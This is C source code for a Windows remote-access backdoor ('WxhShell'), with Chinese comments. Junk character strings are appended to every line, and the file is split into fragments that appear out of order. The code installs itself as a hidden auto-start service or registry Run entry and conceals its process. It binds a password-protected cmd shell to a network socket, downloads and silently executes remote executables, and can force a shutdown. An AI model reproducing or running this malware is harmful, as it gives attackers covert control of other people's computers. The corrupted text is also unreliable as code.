    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cz_4cMgxu  
    else { !'14mN#A  
    closesocket(wsh); V/5hEoDt  
    ExitThread(0); h]Zc&&+8{  
    } $s2-O!P?  
    break; Q*TxjE7K  
    }  m8rz i:  
  // 获取shell 7R\!'`]\M  
  case 's': { N0s)Nao4  
    CmdShell(wsh); Z2chv,SqCJ  
    closesocket(wsh); FswMEf-|  
    ExitThread(0); =goZI67  
    break; 2|k*rv}l  
  } Rl4r 9  
  // 退出 l3aG#4jj  
  case 'x': { [7Nn%eZC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UQ|zSalv,  
    CloseIt(wsh); F"a^`E&  
    break; b("JgE`  
    } YY I  
  // 离开 -X@;"0v  
  case 'q': { oeXNb4; 4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3 )f=Z2U>  
    closesocket(wsh); (PYUfiOf  
    WSACleanup(); m[^;HwJ  
    exit(1); X.0/F6U  
    break; dE5DH~ldV  
        } !DnG)4#  
  } KmV>tn BQ  
  } *8p\.za1  
^_<>o[qE  
  // 提示信息 @ ADY?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u)P$xkf  
} +DKrX  
  } |Y<ca   
[BhpfZNKRA  
  return; RCt)qh+  
} @"9y\1u  
e,E;\x &  
// shell模块句柄 "xdJ9Z-B  
int CmdShell(SOCKET sock) xsRMF&8L  
{ /3%]Ggwe  
STARTUPINFO si; i:#R U^R  
ZeroMemory(&si,sizeof(si)); ilK8V4k<T)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |PN-,f{-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |xzqYu?o  
PROCESS_INFORMATION ProcessInfo; +!POKr  
char cmdline[]="cmd"; $2BRi@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~4}m'#!  
  return 0; e:[ Kp6J  
} hk ./G'E  
)ymF: ]QC  
// 自身启动模式 *DkA$Eu3u  
int StartFromService(void) ,WOF)   
{ Oe9{`~  
typedef struct 0jv9N6IM  
{ z>j%-3_1  
  DWORD ExitStatus; KHr8\qLH  
  DWORD PebBaseAddress; 1jmhh !,  
  DWORD AffinityMask; jTw s0=F*  
  DWORD BasePriority; wri[#D {  
  ULONG UniqueProcessId; RA[` Cp"  
  ULONG InheritedFromUniqueProcessId; !w f N~.Y  
}   PROCESS_BASIC_INFORMATION; UO"8 I2rB  
5d}PrYa  
PROCNTQSIP NtQueryInformationProcess; 7k6rhf7H  
j~DoMP5Ls  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Op3 IL/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,h/0:?R KW  
U7crbj;c)d  
  HANDLE             hProcess; any\}   
  PROCESS_BASIC_INFORMATION pbi; B_cn[?M  
W&06~dI1!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8Z3+S)6  
  if(NULL == hInst ) return 0; y8+?:=N.  
lRt8{GFy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4)j<(5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]^ O<WD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZuS+p0H"  
GWE`'V  
  if (!NtQueryInformationProcess) return 0; hQGZrZK#  
P >N\q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;JL@V}L,  
  if(!hProcess) return 0; f| N(~  
mA^>Y_:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y6*i/3  
=r0!-[XCa  
  CloseHandle(hProcess); 5!nZvv  
YSrFHVq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ObM5vrEk|  
if(hProcess==NULL) return 0; }Pb!u9_  
cjN4U [  
HMODULE hMod;  7/7A  
char procName[255]; Wq{'ZN  
unsigned long cbNeeded; 0[3b,  
==FzkRA)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X_!mZ\H7  
/@#)j( eY/  
  CloseHandle(hProcess); ]}v`#-Px(  
6AQ;P  
if(strstr(procName,"services")) return 1; // 以服务启动 #-lk=>  
[/#n+sz.A  
  return 0; // 注册表启动 %7|qnh6  
} CKBi-q FH  
 Mx r#  
// 主模块 {iQ<`,)Y  
int StartWxhshell(LPSTR lpCmdLine) /asyj="N7  
{ &H4UVI  
  SOCKET wsl; 0>e>G(4(8  
BOOL val=TRUE; P;_dil G  
  int port=0; jB1\L<P  
  struct sockaddr_in door; 1~`g fHI4  
] lO$oO  
  if(wscfg.ws_autoins) Install(); vY;Lc   
JR<R8+@g_  
port=atoi(lpCmdLine); PPq*_Cf  
ptDA))7M/  
if(port<=0) port=wscfg.ws_port; uk'<9g^  
NX=dx&i>+  
  WSADATA data; b&_p"8)_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oNCDG|8z  
fGe{7p6XV*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i'5bPW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pP/o2  
  door.sin_family = AF_INET; #ASu SQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lmc-ofEv  
  door.sin_port = htons(port); 8v6rS-iHP  
`UJW:qqW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {W4t]Ff  
closesocket(wsl); {(MG: B  
return 1; 1b!l+ 8!  
} x< 3vA|o  
Rw\DJJrz  
  if(listen(wsl,2) == INVALID_SOCKET) { { o;0Fx  
closesocket(wsl); ih;TQ!c+b  
return 1; :<(<tz7dj  
} *xjIl<`pK  
  Wxhshell(wsl); ~Igo 8ykl  
  WSACleanup(); RI*%\~6t?  
L"-&B$B:  
return 0; C4cg,>P7  
PQ(%5c1e  
} *|3z($*U]  
v4.V%tg!  
// 以NT服务方式启动 - 'VT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :|A db\b  
{ Qp?+_<{  
DWORD   status = 0; uA,{C%?  
  DWORD   specificError = 0xfffffff; jXDo!a| 4y  
{vH8X(m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iGlZFA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p}!pT/KmpH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e^an` </{  
  serviceStatus.dwWin32ExitCode     = 0; UCWU|r<s,  
  serviceStatus.dwServiceSpecificExitCode = 0; ropiyT9;  
  serviceStatus.dwCheckPoint       = 0; k %rP*b*  
  serviceStatus.dwWaitHint       = 0; e/3hb)#;  
t&uHn5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1lQ1 0J  
  if (hServiceStatusHandle==0) return; b>(l F%M  
>k#aB.6  
status = GetLastError(); {2Ibd i  
  if (status!=NO_ERROR) ;5l|-&{@*  
{ x}[` -  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6qDD_:F  
    serviceStatus.dwCheckPoint       = 0; NNdS:(  
    serviceStatus.dwWaitHint       = 0; )gLasR.1  
    serviceStatus.dwWin32ExitCode     = status; Yt'o#"R)  
    serviceStatus.dwServiceSpecificExitCode = specificError; sg2C_]i,H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &ivIv[LV  
    return; eC39C2q\  
  } N{yZk"fq:6  
qprOxP r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8UcT? Zp  
  serviceStatus.dwCheckPoint       = 0; {ULnQ 6@  
  serviceStatus.dwWaitHint       = 0; Fo=6A[J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]rm=F]W/n  
} 1mV0AE538  
6;*(6$;  
// 处理NT服务事件,比如:启动、停止 TExlGAHo+O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5~F0'tb|}  
{ !R@4tSu  
switch(fdwControl) f*~fslY,o  
{ Ye6O!,R  
case SERVICE_CONTROL_STOP: A~>=l=  
  serviceStatus.dwWin32ExitCode = 0; y_&XF>k91  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lTP02|eK  
  serviceStatus.dwCheckPoint   = 0; ]*h}sn=  
  serviceStatus.dwWaitHint     = 0; ATHz~a  
  { [)pT{QA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sx"I]N  
  } d!:SoZ  
  return; `y#C%9#  
case SERVICE_CONTROL_PAUSE: Qa%SvA@R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (jG$M=q-  
  break; jayoARUB  
case SERVICE_CONTROL_CONTINUE: :<gk~3\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GZt] 38V)g  
  break; Jx<  
case SERVICE_CONTROL_INTERROGATE: {;/o4[jlg  
  break; )]R?v,9*D  
}; tK H!xit  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zv\b`Cf}  
} "!?bC#d#(  
#w@Pa L iS  
// 标准应用程序主函数 aB)DX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z(eSnV_RL  
{ U*TN/6Qy.  
~4<3`l=A  
// 获取操作系统版本 sCl,]g0{  
OsIsNt=GetOsVer(); IycxRig  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QR'g*Bro  
kDh(~nfj  
  // 从命令行安装 +GS=zNw#  
  if(strpbrk(lpCmdLine,"iI")) Install(); HWBom8u0  
5aNDW'z`f  
  // 下载执行文件 lg+g:o  
if(wscfg.ws_downexe) { ^aCYh[=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WRyLpTr-  
  WinExec(wscfg.ws_filenam,SW_HIDE); J.l%H U  
} V1`| j  
Qknc.Z}  
if(!OsIsNt) { X%CPz.G  
// 如果时win9x,隐藏进程并且设置为注册表启动 L#Y;a 5b  
HideProc(); E=NY{| >  
StartWxhshell(lpCmdLine); {SJ7Yfs  
} ?< QFW#:)  
else R-fjxM*  
  if(StartFromService()) f4_G[?9,  
  // 以服务方式启动 '=.Uz3D'0  
  StartServiceCtrlDispatcher(DispatchTable); JUFO.m^w  
else "r"An"  
  // 普通方式启动 ~7a BeD  
  StartWxhshell(lpCmdLine);  &7&*As  
cx(F,?SbS  
return 0; CF"3<*%x  
} ""^BW Re D  
{;DZ@2|  
2v1&%x:y#  
-Wk"o?} q  
=========================================== V2%wb\_z  
qEr[fC@x  
[i1D~rCcn  
CD[=z)<z{  
dRa<,@1"  
gDNW~?/  
" 66^t[[  
 eb@Lh!  
#include <stdio.h> z{L;)U B^  
#include <string.h> zEfD{I  
#include <windows.h> m0\}Cc  
#include <winsock2.h> vP NZFi-(  
#include <winsvc.h> K<JP9t6Qd  
#include <urlmon.h> |qDfFGYf  
QvN <uxm  
#pragma comment (lib, "Ws2_32.lib") L0  2~FT  
#pragma comment (lib, "urlmon.lib") <h51KPo^P  
9[E$>o"%  
#define MAX_USER   100 // 最大客户端连接数 c[lob{,  
#define BUF_SOCK   200 // sock buffer Ki6.'#%7  
#define KEY_BUFF   255 // 输入 buffer 1>y=i+T/b  
/,Id_TTCO  
#define REBOOT     0   // 重启 'a?.X _t  
#define SHUTDOWN   1   // 关机 $ow`)?sh  
F)kLlsp  
#define DEF_PORT   5000 // 监听端口 F)ld@Ydk=  
mm<iT59  
#define REG_LEN     16   // 注册表键长度 'TsZuZW]  
#define SVC_LEN     80   // NT服务名长度 H)aC'M^  
kGV`Q  
// 从dll定义API -xIhN?r)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); < DZ76  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EoR6Rx@Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vcU\xk")  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6XK`=ss?  
l]y%cJ~$'D  
// wxhshell配置信息 aB6LAb2z;T  
struct WSCFG { 91d`LsP  
  int ws_port;         // 监听端口 v^_]W3K  
  char ws_passstr[REG_LEN]; // 口令 bvS\P!m\c  
  int ws_autoins;       // 安装标记, 1=yes 0=no C,vc aC?  
  char ws_regname[REG_LEN]; // 注册表键名 ,<r3Z$G  
  char ws_svcname[REG_LEN]; // 服务名 "sX?wTag  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6x,=SW@4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >1pH 91c'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ={@ @`yP^$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6Ok=q:;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |P0L,R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L9?/ -@M  
'=G Ce%A  
}; Rn_W|"  
i3&B%JiLX  
// default Wxhshell configuration :fKz^@mY4  
struct WSCFG wscfg={DEF_PORT, YkAWKCOni  
    "xuhuanlingzhe", `Mp7 })  
    1, M #=5u`h  
    "Wxhshell", ~2DV{dyj  
    "Wxhshell", a;T[%'in  
            "WxhShell Service", y{I[}$k  
    "Wrsky Windows CmdShell Service", }\L !;6oy  
    "Please Input Your Password: ", yxWMatZ2  
  1, =,8Eo"~\  
  "http://www.wrsky.com/wxhshell.exe", b<V./rWIB  
  "Wxhshell.exe" nEcd+7(  
    }; @&xaaqQ-  
L0|hc  
// 消息定义模块 c1AG3Nb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z<vO#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q;0&idYC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9f%y)[ \  
char *msg_ws_ext="\n\rExit."; O0(Q0Ko  
char *msg_ws_end="\n\rQuit."; 7O9hn2?e  
char *msg_ws_boot="\n\rReboot..."; ^zPEAXm  
char *msg_ws_poff="\n\rShutdown..."; (yAvDyJOn  
char *msg_ws_down="\n\rSave to "; o"}&qA;  
n.XhK_6n]M  
char *msg_ws_err="\n\rErr!"; 4J 51i*`  
char *msg_ws_ok="\n\rOK!"; dtnet_j  
^C)TM@+  
char ExeFile[MAX_PATH]; -YjgS/g  
int nUser = 0; ME@6.*  
HANDLE handles[MAX_USER]; h 4.=sbzZ  
int OsIsNt;  ; zE5(3x  
fQy C6C  
SERVICE_STATUS       serviceStatus; g_U~.?Db7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z>p`!-'ID  
VMye5  P  
// 函数声明 3) c K*8#  
int Install(void); ) !}-\5F  
int Uninstall(void); MAD}Tv\S7  
int DownloadFile(char *sURL, SOCKET wsh); <RPoQ'.^  
int Boot(int flag); b'oGt,  
void HideProc(void); L8]{B  
int GetOsVer(void); Li-(p"  
int Wxhshell(SOCKET wsl); C| L^Ds0  
void TalkWithClient(void *cs); $7DcQ b9  
int CmdShell(SOCKET sock); $n#Bi.A j  
int StartFromService(void); %::deV7  
int StartWxhshell(LPSTR lpCmdLine); kAB+28A  
*xo;pe)9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'tu@`7*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /sT ^lf=  
cI%"Ynq"3  
// 数据结构和表定义 W6Aj<{\F  
SERVICE_TABLE_ENTRY DispatchTable[] = 6;[/ 9  
{ 1S(\2{Ylo  
{wscfg.ws_svcname, NTServiceMain}, [&pW&>p3  
{NULL, NULL} 9ze|s^  
}; u|OzW}xb7j  
G>w?9:V}  
// 自我安装 ~'NpM#A  
int Install(void) MYw8wwX0kJ  
{ \9(- /rE  
  char svExeFile[MAX_PATH]; ta4JWllf  
  HKEY key; 4`U0">gY  
  strcpy(svExeFile,ExeFile); 24jtJC,7  
o!toO&=  
// 如果是win9x系统,修改注册表设为自启动 {`H<=h__  
if(!OsIsNt) { M9s43XL(&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I' ! r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $~,}yh;  
  RegCloseKey(key); <{cNgKd9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JYg% ~tW'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7*>S;$  
  RegCloseKey(key); :`Uyn!w  
  return 0; wLOQhviI^-  
    } (\T0n[  
  } x* =sRf  
} jH&_E'XMX  
else { JpxbB)/  
QOV}5 0  
// 如果是NT以上系统,安装为系统服务 jkF+g$B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5Z9~ &U  
if (schSCManager!=0) Z<ajET`)  
{ <wt$Gglk  
  SC_HANDLE schService = CreateService {;&B^uz ]  
  ( UIf ZPf=  
  schSCManager, JS/M~8+Et  
  wscfg.ws_svcname, ) Ab6!"'  
  wscfg.ws_svcdisp, 6hM]%  
  SERVICE_ALL_ACCESS, sp=OT-Pfp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !0ce kSesr  
  SERVICE_AUTO_START, Y8%0;!T  
  SERVICE_ERROR_NORMAL, HUJ|-)"dw  
  svExeFile, UK6xkra?#  
  NULL, {eEC:[  
  NULL, gE@$~Q>M  
  NULL, \+iu@C  
  NULL, _^ q\XPS  
  NULL w!WRa8C  
  ); }U%^3r-  
  if (schService!=0) .~q)eV  
  { fimb]C I|x  
  CloseServiceHandle(schService); ,jRcl!n`  
  CloseServiceHandle(schSCManager); 3a#PA4Ql  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nw0L1TP/J  
  strcat(svExeFile,wscfg.ws_svcname); Z6Nj<2u2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (A29Z H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -!J2x 8Ri  
  RegCloseKey(key); W}XYmF*_?  
  return 0; B f5&}2u  
    } b4Cfd?'  
  } d /B'[Ur  
  CloseServiceHandle(schSCManager); o3n3URu\  
} mG831v?  
} $s-9|Lbs`  
?0rOcaTY  
return 1; v<;: 0  
} hojHbmm4  
K8 b+   
// 自我卸载 =2 &hQd   
int Uninstall(void) l#D-q/k?  
{ 'lhP!E_)q  
  HKEY key; M[aT2A  
P_p6GT:5  
if(!OsIsNt) { Ys-Keyg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +7Yu^&  
  RegDeleteValue(key,wscfg.ws_regname); hCzjC|EO~  
  RegCloseKey(key); _i3i HR?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,0!uem}1i  
  RegDeleteValue(key,wscfg.ws_regname); %won=TG8  
  RegCloseKey(key); ~ww?Emrw  
  return 0; lDW!Fg  
  } ! FNf>z+  
}  YywEZ?X  
} \\ jIl3Z  
else { 6*ZU}xT  
R? O-x9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zwK }7h6]  
if (schSCManager!=0) Aoj6k\YX  
{ e:N7BZl'c9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kb}MF9?:e  
  if (schService!=0) 2~f6~\4GL+  
  { U1l0Uke  
  if(DeleteService(schService)!=0) { I-xwJi9?,  
  CloseServiceHandle(schService); (NX)o P  
  CloseServiceHandle(schSCManager); cV-i*L4X  
  return 0; [#p&D~Du&  
  } >DL/ ..  
  CloseServiceHandle(schService); jm[}M  
  } _=ugxL #eB  
  CloseServiceHandle(schSCManager); UL+E,=  
} Fse['O~  
} eY T8$  
9"~9hOEct  
return 1; U\Ct/U&A?  
} Hk,lX r  
z^r |3;  
// 从指定url下载文件 |K%}}g[<e;  
int DownloadFile(char *sURL, SOCKET wsh) Rab#7Q16Q8  
{ '9qn*H`'  
  HRESULT hr; /I`3dWL  
char seps[]= "/"; 1t+%Gv^sK  
char *token; d7* CwY9"  
char *file; B={/nC}G~  
char myURL[MAX_PATH]; kl" ]Nw'C  
char myFILE[MAX_PATH]; W9dYljnZ8i  
q69H ^E=  
strcpy(myURL,sURL); Y;} 2'"  
  token=strtok(myURL,seps); yz ?q(]  
  while(token!=NULL) _z q)0\  
  { 1!!\+ c2*  
    file=token; MU|{g 5/ )  
  token=strtok(NULL,seps); Ls]@icH0  
  } ?0{yq>fTu  
K"L_`.&Q  
GetCurrentDirectory(MAX_PATH,myFILE); U IfH*6X  
strcat(myFILE, "\\"); "3SWO3-x  
strcat(myFILE, file); AM'gnP>  
  send(wsh,myFILE,strlen(myFILE),0); Rp0|zP,5  
send(wsh,"...",3,0); +P|2m"UA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~ FGe ~  
  if(hr==S_OK) D}w<84qX  
return 0; Km,*)X.-5  
else W2`.RF^  
return 1; 7F9;Su3.  
`)$`-Pw*  
} nTs/Q  V  
i2*d+?Er  
// 系统电源模块 ryg4h Hspl  
int Boot(int flag) -ui< E?v  
{ .]P2}w)x?  
  HANDLE hToken; oU8>Llt=$  
  TOKEN_PRIVILEGES tkp; u_LY\'n  
ACb/ITu  
  if(OsIsNt) { i}B;+0<drx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]=x\b^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (= 9 wo  
    tkp.PrivilegeCount = 1; hT'=VN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M'q'$)e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G+VD8]!K1  
if(flag==REBOOT) { ]*3:DU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sK&,):"]R  
  return 0; DR@1z9 a  
} JS!*2*Wr  
else { nLj&Uf&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @u/H8\.l  
  return 0; yxwWj>c  
} o-z &7@3Hu  
  } P? (vW&B  
  else { 3;-^YG  
if(flag==REBOOT) { (bv,02  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @uM EXP  
  return 0; L,?/'!xV  
} i.y=8GxY  
else { h0Ee?=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B_ k2u  
  return 0; <'+ %\  
} WhFS2Jl0  
} vX;HC'%n  
 8gC)5Y  
return 1; /ZW&0 E  
} _9@ >;]  
>.<ooWw  
// win9x进程隐藏模块 YTQps&mD.  
void HideProc(void) -W c~B3E|  
{ _6MdF<Xb/  
B[F-gq-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KzphNHd  
  if ( hKernel != NULL ) ``u:lL  
  { Gr: 3{o`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !8R@@,_v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }H RK?.Vj:  
    FreeLibrary(hKernel); nWJ:=JQ i"  
  } Tfx :"u  
+@<KC  
return; JYm7@gx  
} gsPl _  
Hx2En:^Gf  
// 获取操作系统版本 I%"'*7 U  
int GetOsVer(void) c #lPc>0xb  
{ -.iNNM&a  
  OSVERSIONINFO winfo; |cDszoT /  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0q,pi qjO  
  GetVersionEx(&winfo); MT6/2d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P`jL]x  
  return 1; {Dr@HP/x=s  
  else 33K*qaRAD  
  return 0; +}@ 8p[`)  
} J!TBREK  
!MVj=(  
// 客户端句柄模块 p!zJ;rh)  
int Wxhshell(SOCKET wsl) g%a|q~)  
{ A6{b?aQ  
  SOCKET wsh; B=X,7  
  struct sockaddr_in client; V&ot3- Rf  
  DWORD myID; o>?*X(+le  
AIRr{Y  
  while(nUser<MAX_USER) FT89*C)oD  
{ y(a!YicA?  
  int nSize=sizeof(client); QI}E4-s8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U# JIs  
  if(wsh==INVALID_SOCKET) return 1; ~AZWds(,N  
nfdq y)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2i7e#  
if(handles[nUser]==0) ?La Ued'  
  closesocket(wsh); @Uo6>-W F  
else &:5\"b  
  nUser++; tX%`#hb?s  
  } rwE%G>Vb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =IjQ40W  
ROc`BH=  
  return 0; iv&v8;B  
} q,%:h`t\  
?_g1*@pA  
// 关闭 socket p fT60W[m  
void CloseIt(SOCKET wsh) A],ooiq<  
{ $uj(G7_  
closesocket(wsh); 4 !#a3=_  
nUser--; )92r{%N  
ExitThread(0); o[1ylzk}+  
} #VVr"*7$  
Vj?DA5W`'  
// 客户端请求句柄 +&|S'7&{  
void TalkWithClient(void *cs) Sr_VL:Gg  
{  dy>!KO  
-JT/ 9IQ  
  SOCKET wsh=(SOCKET)cs; EME.h&A\G`  
  char pwd[SVC_LEN]; Uf\nFB? ^  
  char cmd[KEY_BUFF]; E?)656F[  
char chr[1]; ve6w<3D@  
int i,j; Wu1{[a|  
]J7Qgp)i  
  while (nUser < MAX_USER) { 9`Q<Yy"du  
 n_nl{  
if(wscfg.ws_passstr) { fJAnKUF)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \qh *E#j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "v-(g9(  
  //ZeroMemory(pwd,KEY_BUFF); G?c-79]U  
      i=0; GV.A+u  
  while(i<SVC_LEN) { %9v@0}5V  
>vbY<HGt  
  // 设置超时 #z'uRHx%=0  
  fd_set FdRead; S9| a$3K'  
  struct timeval TimeOut; x_#-tB  
  FD_ZERO(&FdRead); LiQgR 6j  
  FD_SET(wsh,&FdRead); {aYY85j  
  TimeOut.tv_sec=8; SHVWwoieT  
  TimeOut.tv_usec=0; m Lk(y*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2&!bfq![  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .L6Zm U  
.;7> y7$*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z{6kWA3Kk  
  pwd=chr[0]; E#wS_[  
  if(chr[0]==0xd || chr[0]==0xa) { gJ$K\[+  
  pwd=0; "Z=5gj  
  break; 6NWn(pZ]p  
  } *f%>YxF  
  i++; Q]/Uq~m C  
    } aGZi9O7G}  
3r+.N  
  // 如果是非法用户,关闭 socket nC1zzFFJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y?J"wdWJNB  
} "es?=  
. #lsic8]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :Y,BdU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \daZ k /@  
U?a6D:~G  
while(1) { y !$alE  
VZ& A%UFC  
  ZeroMemory(cmd,KEY_BUFF); }Z-Z|G)#  
pCh2SQ(Q>  
      // 自动支持客户端 telnet标准   -s|8<A||"  
  j=0; ]i<[d ,  
  while(j<KEY_BUFF) { KnhoaBB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e=vsuqGT  
  cmd[j]=chr[0]; eB> s=}|  
  if(chr[0]==0xa || chr[0]==0xd) { gKz(=  
  cmd[j]=0; $d S@y+  
  break; %UUH"  
  } B.r4$:+jb2  
  j++; 0& >H^  
    } SP*fv`  
v3d&*I  
  // 下载文件 Y6i _!z[V[  
  if(strstr(cmd,"http://")) { G7!W{;@I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m %;D  
  if(DownloadFile(cmd,wsh)) gKLyL]kAGz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &8.NT~"Gg  
  else 05yZad*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L(T12s  
  } <f@"HG l  
  else { bV8g|l-4(  
40E#JF#  
    switch(cmd[0]) { k>x&Ip8p  
